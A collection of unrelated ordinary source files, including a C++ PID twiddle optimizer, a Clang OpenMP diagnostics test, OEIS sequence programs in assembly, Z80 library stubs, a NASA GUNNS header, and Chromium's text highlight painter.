delta_factor * m_tau_integral_delta; break; } } } void TwiddleOptimizer::nextStepParameter() { switch (m_CurrentStep) { case TauStep::PROPORTIONAL_STEP: { m_CurrentStep = TauStep::DIFFERENTIAL_STEP; break; } case TauStep::DIFFERENTIAL_STEP: { m_CurrentStep = TauStep::INTEGRAL_STEP; break; } case TauStep::INTEGRAL_STEP: { m_CurrentStep = TauStep::PROPORTIONAL_STEP; break; } } } void TwiddleOptimizer::updateCurrentStepDelta(const double factor) { switch (m_CurrentStep) { case TauStep::PROPORTIONAL_STEP: { m_tau_proportional_delta *= factor; break; } case TauStep::DIFFERENTIAL_STEP: { m_tau_differential_delta *= factor; break; } case TauStep::INTEGRAL_STEP: { m_tau_integral_delta *= factor; break; } } } double TwiddleOptimizer::get_tau_proportional() const { return m_tau_proportional; } double TwiddleOptimizer::get_tau_differential() const { return m_tau_differential; } double TwiddleOptimizer::get_tau_integral() const { return m_tau_integral; } std::ostream& operator<<(std::ostream& os, const TwiddleOptimizer& twiddle) { os << "Current twiddle optimizer state: " << std::endl; os << "Current step: "; switch (twiddle.m_CurrentStep) { case TwiddleOptimizer::TauStep::PROPORTIONAL_STEP: { os << "proportional" << std::endl; break; } case TwiddleOptimizer::TauStep::DIFFERENTIAL_STEP: { os << "differential" << std::endl; break; } case TwiddleOptimizer::TauStep::INTEGRAL_STEP: { os << "integral" << std::endl; break; } } os << "Current delta state: "; switch (twiddle.m_CurrentStepState) { case TwiddleOptimizer::StepState::STEP_INCREASE: { os << "increase" << std::endl; break; } case TwiddleOptimizer::StepState::STEP_DECREASE: { os << "decrease" << std::endl; break; } } os << "Tau proportional: " << twiddle.get_tau_proportional() << std::endl; os << "Tau integral: " << twiddle.get_tau_integral() << std::endl; os << "Tau differential: " << twiddle.get_tau_differential() << std::endl; os << "Tau proportional delta: " << twiddle.m_tau_proportional_delta << std::endl; os << "Tau integral delta: " << twiddle.m_tau_integral_delta << std::endl; os << "Tau differential delta: " << twiddle.m_tau_differential_delta << std::endl << std::endl; return os; }
#ifndef PYTHONIC_NUMPY_ASARRAY_HPP #define PYTHONIC_NUMPY_ASARRAY_HPP #include "pythonic/utils/proxy.hpp" #include "pythonic/types/ndarray.hpp" #include "pythonic/numpy/array.hpp" namespace pythonic { namespace numpy { template<class E> struct _asarray { template<class... Types> auto operator()(Types&&... args) -> decltype(array(std::forward<Types>(args)...)) { return array(std::forward<Types>(args)...); } }; template<class T, size_t N> struct _asarray<types::ndarray<T,N>> { template<class F> types::ndarray<T,N> operator()(F&& a) { return a; } }; template<class E, class... Types> auto asarray(E&& e, Types&&... args) -> decltype(_asarray<typename std::remove_cv<typename std::remove_reference<E>::type>::type>()(std::forward<E>(e), std::forward<Types>(args)...)) { return _asarray<typename std::remove_cv<typename std::remove_reference<E>::type>::type>()(std::forward<E>(e), std::forward<Types>(args)...); } PROXY(pythonic::numpy, asarray); } } #endif
// RUN: %clang_cc1 -verify -fopenmp=libiomp5 %s void foo() { } bool foobool(int argc) { return argc; } struct S1; // expected-note 2 {{declared here}} expected-note 2 {{forward declaration of 'S1'}} extern S1 a; class S2 { mutable int a; public: S2() : a(0) {} S2(S2 &s2) : a(s2.a) {} static float S2s; static const float S2sc; }; const float S2::S2sc = 0; const S2 b; const S2 ba[5]; class S3 { int a; S3 &operator=(const S3 &s3); public: S3() : a(0) {} S3(S3 &s3) : a(s3.a) {} }; const S3 c; const S3 ca[5]; extern const int f; class S4 { // expected-note 2 {{'S4' declared here}} int a; S4(); S4(const S4 &s4); public: S4(int v) : a(v) {} }; class S5 { // expected-note 4 {{'S5' declared here}} int a; S5(const S5 &s5) : a(s5.a) {} public: S5() : a(0) {} S5(int v) : a(v) {} }; class S6 { int a; S6() : a(0) {} public: S6(const S6 &s6) : a(s6.a) {} S6(int v) : a(v) {} }; S3 h; #pragma omp threadprivate(h) // expected-note 2 {{defined as threadprivate or thread local}} template <class I, class C> int foomain(int argc, char **argv) { I e(4); // expected-note {{'e' defined here}} C g(5); // expected-note 2 {{'g' defined here}} int i; int &j = i; // expected-note {{'j' defined here}} #pragma omp parallel sections firstprivate // expected-error {{expected '(' after 'firstprivate'}} { foo(); } #pragma omp parallel sections firstprivate( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate() // expected-error {{expected expression}} { foo(); } #pragma omp parallel sections firstprivate(argc // expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate(argc, // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate(argc > 0 ? argv[1] : argv[2]) // expected-error {{expected variable name}} { foo(); } #pragma omp parallel sections firstprivate(argc) { foo(); } #pragma omp parallel sections firstprivate(S1) // expected-error {{'S1' does not refer to a value}} { foo(); } #pragma omp parallel sections firstprivate(a, b) // expected-error {{firstprivate variable with incomplete type 'S1'}} { foo(); } #pragma omp parallel sections firstprivate(argv[1]) // expected-error {{expected variable name}} { foo(); } #pragma omp parallel sections firstprivate(e, g) // expected-error 2 {{firstprivate variable must have an accessible, unambiguous copy constructor}} { foo(); } #pragma omp parallel sections firstprivate(h) // expected-error {{threadprivate or thread local variable cannot be firstprivate}} { foo(); } #pragma omp parallel sections linear(i) // expected-error {{unexpected OpenMP clause 'linear' in directive '#pragma omp parallel sections'}} { foo(); } #pragma omp parallel { int v = 0; int i; #pragma omp parallel sections firstprivate(i) { foo(); } v += i; } #pragma omp parallel shared(i) #pragma omp parallel private(i) #pragma omp parallel sections firstprivate(j) // expected-error {{arguments of OpenMP clause 'firstprivate' cannot be of reference type}} { foo(); } #pragma omp parallel sections firstprivate(i) { foo(); } #pragma omp parallel sections lastprivate(g) firstprivate(g) // expected-error {{firstprivate variable must have an accessible, unambiguous copy constructor}} { foo(); } #pragma omp parallel private(i) #pragma omp parallel sections firstprivate(i) { foo(); } #pragma omp parallel reduction(+ : i) #pragma omp parallel sections firstprivate(i) { foo(); } return 0; } int main(int argc, char **argv) { const int d = 5; const int da[5] = {0}; S4 e(4); // expected-note {{'e' defined here}} S5 g(5); // expected-note 2 {{'g' defined here}} S3 m; S6 n(2); int i; int &j = i; // expected-note {{'j' defined here}} #pragma omp parallel sections firstprivate // expected-error {{expected '(' after 'firstprivate'}} { foo(); } #pragma omp parallel sections firstprivate( // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate() // expected-error {{expected expression}} { foo(); } #pragma omp parallel sections firstprivate(argc // expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate(argc, // expected-error {{expected expression}} expected-error {{expected ')'}} expected-note {{to match this '('}} { foo(); } #pragma omp parallel sections firstprivate(argc > 0 ? argv[1] : argv[2]) // expected-error {{expected variable name}} { foo(); } #pragma omp parallel sections firstprivate(argc) { foo(); } #pragma omp parallel sections firstprivate(S1) // expected-error {{'S1' does not refer to a value}} { foo(); } #pragma omp parallel sections firstprivate(a, b, c, d, f) // expected-error {{firstprivate variable with incomplete type 'S1'}} { foo(); } #pragma omp parallel sections firstprivate(argv[1]) // expected-error {{expected variable name}} { foo(); } #pragma omp parallel sections firstprivate(2 * 2) // expected-error {{expected variable name}} { foo(); } #pragma omp parallel sections firstprivate(ba) // OK { foo(); } #pragma omp parallel sections firstprivate(ca) // OK { foo(); } #pragma omp parallel sections firstprivate(da) // OK { foo(); } int xa; #pragma omp parallel sections firstprivate(xa) // OK { foo(); } #pragma omp parallel sections firstprivate(S2::S2s) // OK { foo(); } #pragma omp parallel sections firstprivate(S2::S2sc) // OK { foo(); } #pragma omp parallel sections safelen(5) // expected-error {{unexpected OpenMP clause 'safelen' in directive '#pragma omp parallel sections'}} { foo(); } #pragma omp parallel sections firstprivate(e, g) // expected-error 2 {{firstprivate variable must have an accessible, unambiguous copy constructor}} { foo(); } #pragma omp parallel sections firstprivate(m) // OK { foo(); } #pragma omp parallel sections firstprivate(h) // expected-error {{threadprivate or thread local variable cannot be firstprivate}} { foo(); } #pragma omp parallel sections private(xa), firstprivate(xa) // expected-error {{private variable cannot be firstprivate}} expected-note {{defined as private}} { foo(); } #pragma omp parallel shared(xa) #pragma omp parallel sections firstprivate(xa) // OK: may be firstprivate { foo(); } #pragma omp parallel sections firstprivate(j) // expected-error {{arguments of OpenMP clause 'firstprivate' cannot be of reference type}} { foo(); } #pragma omp parallel sections lastprivate(g) firstprivate(g) // expected-error {{firstprivate variable must have an accessible, unambiguous copy constructor}} { foo(); } #pragma omp parallel sections lastprivate(n) firstprivate(n) // OK { foo(); } #pragma omp parallel { int v = 0; int i; #pragma omp parallel sections firstprivate(i) { foo(); } v += i; } #pragma omp parallel private(i) #pragma omp parallel sections firstprivate(i) { foo(); } #pragma omp parallel reduction(+ : i) #pragma omp parallel sections firstprivate(i) { foo(); } return foomain<S4, S5>(argc, argv); // expected-note {{in instantiation of function template specialization 'foomain<S4, S5>' requested here}} }
; A260446: Infinite palindromic word (a(1),a(2),a(3),...) with initial word w(1) = (0,1,0) and midword sequence (a(n)); see Comments. ; 0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1 cal $0,90739 ; Exponent of 2 in 9^n - 1. cal $0,10051 ; Characteristic function of primes: 1 if n is prime, else 0. add $0,1 mov $1,$0 add $1,7 div $1,3 sub $1,2
; A136393: a(n) = C(3^n,n). ; 1,3,36,2925,1663740,6774333588,204208594169580,47025847059877940202,84798009611754271531960140,1219731290030242386267605060168700,141916030352038369973126553950792759280336,135014764146790536172086401309543146222691187620907,1059423933424851544942069175250302606821411724442947804242020,69054261319384727412573780935389633193015662850296967093849679375927276,37613981806712210686104302291933575236492913939603443340111208046432127787856351528 mov $1,3 pow $1,$0 bin $1,$0 mov $0,$1
; A169497: Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^34 = I. ; 1,4,12,36,108,324,972,2916,8748,26244,78732,236196,708588,2125764,6377292,19131876,57395628,172186884,516560652,1549681956,4649045868,13947137604,41841412812,125524238436,376572715308,1129718145924 mov $1,3 pow $1,$0 mul $1,8 div $1,6
; A003971: Inverse Möbius transform of A003960. ; Submitted by Christian Krause ; 1,2,3,3,4,6,5,4,7,8,7,9,8,10,12,5,10,14,11,12,15,14,13,12,13,16,15,15,16,24,17,6,21,20,20,21,20,22,24,16,22,30,23,21,28,26,25,15,21,26,30,24,28,30,28,20,33,32,31,36,32,34,35,7,32,42,35,30,39,40,37,28,38,40 add $0,1 mov $1,1 lpb $0 mov $3,$0 add $8,$1 lpb $3 mov $1,$8 mov $4,$0 mov $6,$2 cmp $6,0 add $2,$6 mod $4,$2 cmp $4,0 cmp $4,0 mov $5,$2 add $2,1 cmp $5,1 max $4,$5 sub $3,$4 lpe mov $5,1 lpb $0 dif $0,$2 mul $0,$5 mul $5,$2 lpe add $5,1 div $5,2 mul $1,$5 add $7,$1 lpe mov $0,$7 add $0,1
; A099054: Arshon's sequence: start from 1 and replace the letters in odd positions using 1 -> 123, 2 -> 231, 3 -> 312 and the letters in even positions using 1 -> 321, 2-> 132, 3 -> 213. ; 1,2,3,1,3,2,3,1,2,3,2,1,3,1,2,1,3,2,3,1,2,3,2,1,2,3,1,2,1,3,2,3,1,3,2,1,3,1,2,3,2,1,2,3,1,3,2,1,3,1,2,1,3,2,3,1,2,3,2,1,2,3,1,2,1,3,2,3,1,3,2,1,2,3,1,2,1,3,1,2,3,1,3,2,1,2,3,2,1,3,2,3,1,2,1,3,1,2,3,2 lpb $0 mov $2,$0 div $0,3 seq $2,132355 ; Numbers of the form 9*h^2 + 2*h, for h an integer. add $1,$2 mod $1,3 lpe add $1,1 mov $0,$1
; A067491: Powers of 5 with initial digit 1. ; Submitted by Jon Maiga ; 1,125,15625,1953125,1220703125,152587890625,19073486328125,11920928955078125,1490116119384765625,186264514923095703125,116415321826934814453125,14551915228366851806640625,1818989403545856475830078125,1136868377216160297393798828125,142108547152020037174224853515625,17763568394002504646778106689453125,11102230246251565404236316680908203125,1387778780781445675529539585113525390625,173472347597680709441192448139190673828125,108420217248550443400745280086994171142578125 mov $2,10 pow $2,$0 mov $3,1 lpb $2 div $2,2 mul $3,5 lpe mov $0,$3 div $0,5
SECTION code_clib SECTION code_fp_math48 PUBLIC _islessequal EXTERN cm48_sdccix_islessequal defc _islessequal = cm48_sdccix_islessequal
#ifndef TestFluidNetworkWrapper_EXISTS #define TestFluidNetworkWrapper_EXISTS /** @file @brief TestFluidNetworkWrapper declarations. @defgroup ISS_ORCH_FLUID_TESTFLUIDNETWORK TestFluidNetworkWrapper GUNNS Network @ingroup ISS_ORCH_FLUID @copyright Copyright 2019 United States Government as represented by the Administrator of the National Aeronautics and Space Administration. All Rights Reserved. @{ */ #include "../networks/fluid/test/TestFluidNetwork.hh" ///////////////////////////////////////////////////////////////////////////////////////////////// /// @brief TestFluidNetworkWrapper /// /// @details Extends TestFluidNetwork to output node properties values to cout for testing. ///////////////////////////////////////////////////////////////////////////////////////////////// class TestFluidNetworkWrapper : public TestFluidNetwork { public: /// @brief Default constructor TestFluidNetworkWrapper(const std::string& name = ""); /// @brief Default destructor virtual ~TestFluidNetworkWrapper(); /// @brief Print node properties void printState(); private: /// @details Copy constructor unavailable since declared private and not implemented. TestFluidNetworkWrapper(const TestFluidNetworkWrapper& rhs); /// @details Assignment operator unavailable since declared private and not implemented. TestFluidNetworkWrapper& operator =(const TestFluidNetworkWrapper& rhs); }; /// @} #endif
; nasm -f macho signal-mac.asm && ld -macosx_version_min 10.7.0 -o signal-mac signal-mac.o global start section .text start: jmp $+2 jmp $-2
#include "../../../strange__core.h" namespace strange { // bidirectional_pair_extractor_t // bidirectional_extractor_o template <typename iterator_d, typename key_d, typename value_d> bidirectional_extractor_o<typename bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::element_d> const* bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_operations() { static bidirectional_extractor_o<element_d> operations = { { { // any_a bidirectional_extractor_a<element_d>::cat, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::is, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::as, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::type, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::set_error, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::error, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::hash, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::equal, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::less, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::less_or_equal, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::pack, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_free, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_copy, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_set_pointer, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_pointer, }, // forward_extractor_a bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::equal_iterator, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::get, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::increment, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_operator_star, bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_operator_arrow, }, // bidirectional_extractor_a bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::decrement, }; return &operations; } template <typename iterator_d, typename key_d, typename value_d> bidirectional_extractor_o<typename bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::element_d> const* bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_pointer_operations() { static bidirectional_extractor_o<element_d> operations = []() { bidirectional_extractor_o<element_d> ops = *bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_operations(); ops._copy = thing_t::_no_copy; return ops; }(); return &operations; } // any_a template <typename iterator_d, typename key_d, typename value_d> bool bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::is(con<> const& me, con<> const& abstraction) { // abstraction.cat in me.cats auto const abc = abstraction.o->cat; return abc == any_a::cat || abc == forward_extractor_a<element_d>::cat || abc == bidirectional_extractor_a<element_d>::cat; } template <typename iterator_d, typename key_d, typename value_d> bool bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::as(con<> const& me, var<> const& abstraction) { if (!bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::is(me, abstraction)) { return false; } bool const as_pointer = abstraction.o->_pointer(abstraction); abstraction = me; if (abstraction.o->_pointer(abstraction) != as_pointer) { if (as_pointer) { abstraction.mut(); } abstraction.o->_set_pointer(abstraction, as_pointer); if (!as_pointer) { abstraction.mut(); } } return true; } template <typename iterator_d, typename key_d, typename value_d> var<symbol_a> bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::type(con<> const& me) { static auto r = sym("strange::bidirectional_pair_extractor"); return r; } template <typename iterator_d, typename key_d, typename value_d> void bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_copy(con<> const& me, var<> const& copy) { new bidirectional_pair_extractor_t<iterator_d, key_d, value_d>{ copy, me }; bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_clone(me, copy); } template <typename iterator_d, typename key_d, typename value_d> void bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_set_pointer(con<> const& me, bool is_pointer) { me.o = is_pointer ? bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_pointer_operations() : bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::_operations(); } // bidirectional_tuple_extractor_a template <typename iterator_d, typename key_d, typename value_d> void bidirectional_pair_extractor_t<iterator_d, key_d, value_d>::decrement(var<bidirectional_extractor_a<element_d>> const& me) { me.mut(); --(static_cast<bidirectional_pair_extractor_t<iterator_d, key_d, value_d>*>(me.t)->iterator_); } // instantiation template struct bidirectional_pair_extractor_t<std::map<int64_t, table_value_tuple_u<int64_t, int64_t, std::pair<int64_t const, int64_t>>>::const_iterator, int64_t, int64_t>; }
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/core/paint/ng/ng_highlight_painter.h" #include "third_party/blink/renderer/core/dom/node.h" #include "third_party/blink/renderer/core/editing/editor.h" #include "third_party/blink/renderer/core/editing/frame_selection.h" #include "third_party/blink/renderer/core/editing/markers/document_marker_controller.h" #include "third_party/blink/renderer/core/editing/markers/styleable_marker.h" #include "third_party/blink/renderer/core/editing/markers/text_marker_base.h" #include "third_party/blink/renderer/core/layout/layout_object.h" #include "third_party/blink/renderer/core/layout/ng/inline/ng_inline_cursor.h" #include "third_party/blink/renderer/core/paint/document_marker_painter.h" #include "third_party/blink/renderer/core/paint/highlight_painting_utils.h" #include "third_party/blink/renderer/core/paint/inline_text_box_painter.h" #include "third_party/blink/renderer/core/paint/ng/ng_text_painter.h" #include "third_party/blink/renderer/core/paint/paint_info.h" namespace blink { namespace { DocumentMarkerVector ComputeMarkersToPaint(Node* node, bool is_ellipsis) { // TODO(yoichio): Handle first-letter auto* text_node = DynamicTo<Text>(node); if (!text_node) return DocumentMarkerVector(); // We don't paint any marker on ellipsis. if (is_ellipsis) return DocumentMarkerVector(); DocumentMarkerController& document_marker_controller = node->GetDocument().Markers(); return document_marker_controller.ComputeMarkersToPaint(*text_node); } unsigned GetTextContentOffset(const Text& text, unsigned offset) { // TODO(yoichio): Sanitize DocumentMarker around text length. const Position position(text, std::min(offset, text.length())); const NGOffsetMapping* const offset_mapping = NGOffsetMapping::GetFor(position); DCHECK(offset_mapping); const base::Optional<unsigned>& ng_offset = offset_mapping->GetTextContentOffset(position); DCHECK(ng_offset.has_value()); return ng_offset.value(); } // ClampOffset modifies |offset| fixed in a range of |text_fragment| start/end // offsets. // |offset| points not each character but each span between character. // With that concept, we can clear catch what is inside start / end. // Suppose we have "foo_bar"('_' is a space). // There are 8 offsets for that: // f o o _ b a r // 0 1 2 3 4 5 6 7 // If "bar" is a TextFragment. That start(), end() {4, 7} correspond this // offset. If a marker has StartOffset / EndOffset as {2, 6}, // ClampOffset returns{ 4,6 }, which represents "ba" on "foo_bar". unsigned ClampOffset(unsigned offset, const NGFragmentItem& text_fragment) { return std::min(std::max(offset, text_fragment.StartOffset()), text_fragment.EndOffset()); } PhysicalRect MarkerRectForForeground(const NGFragmentItem& text_fragment, StringView text, unsigned start_offset, unsigned end_offset) { LayoutUnit start_position, end_position; std::tie(start_position, end_position) = text_fragment.LineLeftAndRightForOffsets(text, start_offset, end_offset); const LayoutUnit height = text_fragment.Size() .ConvertToLogical(static_cast<WritingMode>( text_fragment.Style().GetWritingMode())) .block_size; return {start_position, LayoutUnit(), end_position - start_position, height}; } void PaintRect(GraphicsContext& context, const PhysicalRect& rect, const Color color) { if (!color.Alpha()) return; if (rect.size.IsEmpty()) return; const IntRect pixel_snapped_rect = PixelSnappedIntRect(rect); if (!pixel_snapped_rect.IsEmpty()) context.FillRect(pixel_snapped_rect, color); } void PaintRect(GraphicsContext& context, const PhysicalOffset& location, const PhysicalRect& rect, const Color color) { PaintRect(context, PhysicalRect(rect.offset + location, rect.size), color); } Color SelectionBackgroundColor(const Document& document, const ComputedStyle& style, Node* node, Color text_color) { const Color color = HighlightPaintingUtils::HighlightBackgroundColor( document, style, node, kPseudoIdSelection); if (!color.Alpha()) return Color(); // If the text color ends up being the same as the selection background, // invert the selection background. if (text_color == color) return Color(0xff - color.Red(), 0xff - color.Green(), 0xff - color.Blue()); return color; } } // namespace NGHighlightPainter::SelectionPaintState::SelectionPaintState( const NGInlineCursor& containing_block) : SelectionPaintState(containing_block, containing_block.Current() .GetLayoutObject() ->GetDocument() .GetFrame() ->Selection()) {} NGHighlightPainter::SelectionPaintState::SelectionPaintState( const NGInlineCursor& containing_block, const FrameSelection& frame_selection) : selection_status_( frame_selection.ComputeLayoutSelectionStatus(containing_block)), state_(frame_selection.ComputeLayoutSelectionStateForCursor( containing_block.Current())), containing_block_(containing_block) {} void NGHighlightPainter::SelectionPaintState::ComputeSelectionStyle( const Document& document, const ComputedStyle& style, Node* node, const PaintInfo& paint_info, const TextPaintStyle& text_style) { selection_style_ = TextPainterBase::SelectionPaintingStyle( document, style, node, paint_info, text_style); paint_selected_text_only_ = (paint_info.phase == PaintPhase::kSelectionDragImage); } PhysicalRect NGHighlightPainter::SelectionPaintState::ComputeSelectionRect( const PhysicalOffset& box_offset) { if (!selection_rect_) { selection_rect_ = containing_block_.CurrentLocalSelectionRectForText(selection_status_); selection_rect_->offset += box_offset; } return *selection_rect_; } // Logic is copied from InlineTextBoxPainter::PaintSelection. // |selection_start| and |selection_end| should be between // [text_fragment.StartOffset(), text_fragment.EndOffset()]. void NGHighlightPainter::SelectionPaintState::PaintSelectionBackground( GraphicsContext& context, Node* node, const Document& document, const ComputedStyle& style, const base::Optional<AffineTransform>& rotation) { const Color color = SelectionBackgroundColor(document, style, node, selection_style_.fill_color); if (!rotation) { PaintRect(context, *selection_rect_, color); return; } // PaintRect tries to pixel-snap the given rect, but if we’re painting in a // non-horizontal writing mode, our context has been transformed, regressing // tests like <paint/invalidation/repaint-across-writing-mode-boundary>. To // fix this, we undo the transformation temporarily, then use the original // physical coordinates (before MapSelectionRectIntoRotatedSpace). DCHECK(selection_rect_before_rotation_); context.ConcatCTM(rotation->Inverse()); PaintRect(context, *selection_rect_before_rotation_, color); context.ConcatCTM(*rotation); } // Called before we paint vertical selected text under a rotation transform. void NGHighlightPainter::SelectionPaintState::MapSelectionRectIntoRotatedSpace( const AffineTransform& rotation) { DCHECK(selection_rect_); selection_rect_before_rotation_.emplace(*selection_rect_); *selection_rect_ = PhysicalRect::EnclosingRect( rotation.Inverse().MapRect(FloatRect(*selection_rect_))); } // Paint the selected text only. void NGHighlightPainter::SelectionPaintState::PaintSelectedText( NGTextPainter& text_painter, unsigned length, const TextPaintStyle& text_style, DOMNodeId node_id) { text_painter.PaintSelectedText(selection_status_.start, selection_status_.end, length, text_style, selection_style_, *selection_rect_, node_id); } // Paint the given text range in the given style, suppressing the text proper // (painting shadows only) where selected. void NGHighlightPainter::SelectionPaintState:: PaintSuppressingTextProperWhereSelected(NGTextPainter& text_painter, unsigned start_offset, unsigned end_offset, unsigned length, const TextPaintStyle& text_style, DOMNodeId node_id) { // First paint the shadows for the whole range. if (text_style.shadow) { text_painter.Paint(start_offset, end_offset, length, text_style, node_id, NGTextPainter::kShadowsOnly); } // Then paint the text proper for any unselected parts in storage order, so // that they’re always on top of the shadows. if (start_offset < selection_status_.start) { text_painter.Paint(start_offset, selection_status_.start, length, text_style, node_id, NGTextPainter::kTextProperOnly); } if (selection_status_.end < end_offset) { text_painter.Paint(selection_status_.end, end_offset, length, text_style, node_id, NGTextPainter::kTextProperOnly); } } NGHighlightPainter::NGHighlightPainter( NGTextPainter& text_painter, const PaintInfo& paint_info, const NGInlineCursor& cursor, const NGFragmentItem& fragment_item, const PhysicalOffset& box_origin, const ComputedStyle& style, base::Optional<SelectionPaintState> selection, bool is_printing) : text_painter_(text_painter), paint_info_(paint_info), cursor_(cursor), fragment_item_(fragment_item), box_origin_(box_origin), style_(style), selection_(selection), layout_object_(fragment_item_.GetLayoutObject()), node_(layout_object_->GetNode()), markers_(ComputeMarkersToPaint(node_, fragment_item_.IsEllipsis())), skip_backgrounds_(is_printing || paint_info.phase == PaintPhase::kTextClip || paint_info.phase == PaintPhase::kSelectionDragImage) {} void NGHighlightPainter::Paint(Phase phase) { if (markers_.IsEmpty()) return; if (skip_backgrounds_ && phase == kBackground) return; DCHECK(fragment_item_.GetNode()); const auto& text_node = To<Text>(*fragment_item_.GetNode()); const StringView text = cursor_.CurrentText(); for (const DocumentMarker* marker : markers_) { const unsigned marker_start_offset = GetTextContentOffset(text_node, marker->StartOffset()); const unsigned marker_end_offset = GetTextContentOffset(text_node, marker->EndOffset()); const unsigned paint_start_offset = ClampOffset(marker_start_offset, fragment_item_); const unsigned paint_end_offset = ClampOffset(marker_end_offset, fragment_item_); if (paint_start_offset == paint_end_offset) continue; switch (marker->GetType()) { case DocumentMarker::kSpelling: case DocumentMarker::kGrammar: { if (fragment_item_.GetNode()->GetDocument().Printing()) break; if (phase == kBackground) continue; DocumentMarkerPainter::PaintDocumentMarker( paint_info_, box_origin_, style_, marker->GetType(), MarkerRectForForeground(fragment_item_, text, paint_start_offset, paint_end_offset)); } break; case DocumentMarker::kTextFragment: case DocumentMarker::kTextMatch: { const Document& document = node_->GetDocument(); if (marker->GetType() == DocumentMarker::kTextMatch && !document.GetFrame()->GetEditor().MarkedTextMatchesAreHighlighted()) break; const auto& text_marker = To<TextMarkerBase>(*marker); if (phase == kBackground) { Color color; if (marker->GetType() == DocumentMarker::kTextMatch) { color = LayoutTheme::GetTheme().PlatformTextSearchHighlightColor( text_marker.IsActiveMatch(), document.InForcedColorsMode(), style_.UsedColorScheme()); } else { color = HighlightPaintingUtils::HighlightBackgroundColor( document, style_, node_, kPseudoIdTargetText); } PaintRect(paint_info_.context, PhysicalOffset(box_origin_), fragment_item_.LocalRect(text, paint_start_offset, paint_end_offset), color); break; } const TextPaintStyle text_style = DocumentMarkerPainter::ComputeTextPaintStyleFrom( document, node_, style_, text_marker, paint_info_); if (text_style.current_color == Color::kTransparent) break; text_painter_.Paint(paint_start_offset, paint_end_offset, paint_end_offset - paint_start_offset, text_style, kInvalidDOMNodeId); } break; case DocumentMarker::kComposition: case DocumentMarker::kActiveSuggestion: case DocumentMarker::kSuggestion: { const auto& styleable_marker = To<StyleableMarker>(*marker); if (phase == kBackground) { PaintRect(paint_info_.context, PhysicalOffset(box_origin_), fragment_item_.LocalRect(text, paint_start_offset, paint_end_offset), styleable_marker.BackgroundColor()); break; } if (DocumentMarkerPainter::ShouldPaintMarkerUnderline( styleable_marker)) { const SimpleFontData* font_data = style_.GetFont().PrimaryFont(); DocumentMarkerPainter::PaintStyleableMarkerUnderline( paint_info_.context, box_origin_, styleable_marker, style_, FloatRect(MarkerRectForForeground( fragment_item_, text, paint_start_offset, paint_end_offset)), LayoutUnit(font_data->GetFontMetrics().Height()), fragment_item_.GetNode()->GetDocument().InDarkMode()); } } break; default: NOTREACHED(); break; } } } } // namespace blink
; void *wa_stack_pop_fastcall(wa_stack_t *s) SECTION code_adt_wa_stack PUBLIC _wa_stack_pop_fastcall defc _wa_stack_pop_fastcall = asm_wa_stack_pop INCLUDE "adt/wa_stack/z80/asm_wa_stack_pop.asm"
